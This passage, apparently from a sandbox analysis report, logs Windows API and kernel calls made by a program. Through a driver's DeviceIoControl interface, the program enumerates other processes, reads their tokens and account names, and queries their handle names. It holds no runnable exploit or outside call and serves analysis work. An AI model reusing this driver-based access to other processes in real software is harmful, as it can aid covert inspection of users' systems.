PriorityBoost=0) [0106.523] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.523] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1c0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0106.523] PsLookupProcessByProcessId (in: ProcessId=0xe28, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0xc000000b [0106.523] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.524] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.524] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xe34) returned 0x0 [0106.524] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1c0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0106.524] PsLookupProcessByProcessId (in: ProcessId=0xe34, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0xc000000b [0106.524] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.524] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.524] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1c0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0106.524] PsLookupProcessByProcessId (in: ProcessId=0xe34, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0xc000000b [0106.524] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.524] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.524] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1c0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0106.524] PsLookupProcessByProcessId (in: ProcessId=0xe34, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0xc000000b [0106.524] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.524] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.524] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1c0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0106.524] PsLookupProcessByProcessId (in: ProcessId=0xe34, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0xc000000b [0106.524] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.524] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.524] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1c0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0106.524] PsLookupProcessByProcessId (in: ProcessId=0xe34, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0xc000000b [0106.524] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.524] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.524] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1c0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0106.525] PsLookupProcessByProcessId (in: ProcessId=0xe34, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0xc000000b [0106.525] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.525] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.525] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1c0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0106.525] PsLookupProcessByProcessId (in: ProcessId=0xe34, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0xc000000b [0106.525] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.525] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.525] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1c0b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0106.525] PsLookupProcessByProcessId (in: ProcessId=0xe34, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0xc000000b [0106.525] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.525] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.525] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xe3c) returned 0xc0 [0106.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.525] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800394e060, HandleInformation=0x0) returned 0x0 [0106.525] ObOpenObjectByPointer (in: Object=0xfffffa800394e060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff8000053c) returned 0x0 [0106.525] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x25 [0106.525] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000053c, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0106.525] ZwClose (Handle=0xffffffff8000053c) returned 0x0 [0106.525] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.525] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.525] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.527] CloseHandle (hObject=0xc8) returned 1 [0106.527] CloseHandle (hObject=0xc0) returned 1 [0106.527] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0106.527] PsLookupProcessByProcessId (in: ProcessId=0xe3c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.527] PsAcquireProcessExitSynchronization () returned 0x0 [0106.527] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0) [0106.527] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80025be8c0, HandleInformation=0x0) returned 0x0 [0106.527] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.527] PsReleaseProcessExitSynchronization () returned 0x2 [0106.527] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x23 [0106.527] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.527] ObfDereferenceObject (Object=0xfffffa80025be8c0) returned 0x3 [0106.527] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.527] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.527] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.527] PsLookupProcessByProcessId (in: ProcessId=0xe3c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.527] PsAcquireProcessExitSynchronization () returned 0x0 [0106.527] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0) [0106.527] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80028c5bb0, HandleInformation=0x0) returned 0x0 [0106.527] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.527] PsReleaseProcessExitSynchronization () returned 0x2 [0106.527] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x23 [0106.527] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.527] ObfDereferenceObject (Object=0xfffffa80028c5bb0) returned 0x1 [0106.527] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.527] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.527] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x114, lpOverlapped=0x0) returned 1 [0106.528] PsLookupProcessByProcessId (in: ProcessId=0xe3c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.528] PsAcquireProcessExitSynchronization () returned 0x0 [0106.528] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0) [0106.528] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800255b530, HandleInformation=0x0) returned 0x0 [0106.528] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.528] PsReleaseProcessExitSynchronization () returned 0x2 [0106.528] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x23 [0106.528] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.528] ObfDereferenceObject (Object=0xfffffa800255b530) returned 0x1 [0106.528] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.528] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.528] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0106.528] PsLookupProcessByProcessId (in: ProcessId=0xe3c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.528] PsAcquireProcessExitSynchronization () returned 0x0 [0106.528] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0) [0106.528] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003674560, HandleInformation=0x0) returned 0x0 [0106.528] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.528] PsReleaseProcessExitSynchronization () returned 0x2 [0106.528] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x23 [0106.528] ObQueryNameString (in: Object=0xfffffa80038b5900, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.528] ObfDereferenceObject (Object=0xfffffa8003674560) returned 0x3 [0106.528] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.528] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.528] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xe4c) returned 0xc0 [0106.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.528] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800200c770, HandleInformation=0x0) returned 0x0 [0106.528] ObOpenObjectByPointer (in: Object=0xfffffa800200c770, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff8000053c) returned 0x0 [0106.528] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0x11 [0106.528] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000053c, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0106.528] ZwClose (Handle=0xffffffff8000053c) returned 0x0 [0106.529] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.529] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.529] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.530] CloseHandle (hObject=0xc8) returned 1 [0106.530] CloseHandle (hObject=0xc0) returned 1 [0106.530] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.530] PsLookupProcessByProcessId (in: ProcessId=0xe4c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.530] PsAcquireProcessExitSynchronization () returned 0x0 [0106.530] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff88004f095d0) [0106.530] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80035f0ae0, HandleInformation=0x0) returned 0x0 [0106.530] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.531] PsReleaseProcessExitSynchronization () returned 0x2 [0106.531] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0xf [0106.531] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.531] ObfDereferenceObject (Object=0xfffffa80035f0ae0) returned 0x1 [0106.531] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.531] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.531] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0106.531] PsLookupProcessByProcessId (in: ProcessId=0xe4c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.531] PsAcquireProcessExitSynchronization () returned 0x0 [0106.531] KeStackAttachProcess (in: PROCESS=0xfffffa800200c770, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800200c770, ApcState=0xfffff88004f095d0) [0106.531] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800380cf20, HandleInformation=0x0) returned 0x0 [0106.531] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.531] PsReleaseProcessExitSynchronization () returned 0x2 [0106.531] ObfDereferenceObject (Object=0xfffffa800200c770) returned 0xf [0106.531] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.531] ObfDereferenceObject (Object=0xfffffa800380cf20) returned 0x1 [0106.531] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.531] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.531] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xe5c) returned 0xc0 [0106.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.531] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800394e630, HandleInformation=0x0) returned 0x0 [0106.531] ObOpenObjectByPointer (in: Object=0xfffffa800394e630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff8000053c) returned 0x0 [0106.531] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x20 [0106.531] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000053c, DesiredAccess=0x8, TokenHandle=0xfffffa8002f00240 | out: TokenHandle=0xfffffa8002f00240*=0xc8) returned 0x0 [0106.531] ZwClose (Handle=0xffffffff8000053c) returned 0x0 [0106.531] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.531] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.532] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.533] CloseHandle (hObject=0xc8) returned 1 [0106.533] CloseHandle (hObject=0xc0) returned 1 [0106.533] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0106.533] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.533] PsAcquireProcessExitSynchronization () returned 0x0 [0106.533] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0) [0106.533] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024f1f20, HandleInformation=0x0) returned 0x0 [0106.533] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.533] PsReleaseProcessExitSynchronization () returned 0x2 [0106.533] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x1e [0106.533] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.533] ObfDereferenceObject (Object=0xfffffa80024f1f20) returned 0x1 [0106.533] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.533] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.533] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0106.533] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.533] PsAcquireProcessExitSynchronization () returned 0x0 [0106.533] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0) [0106.533] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: 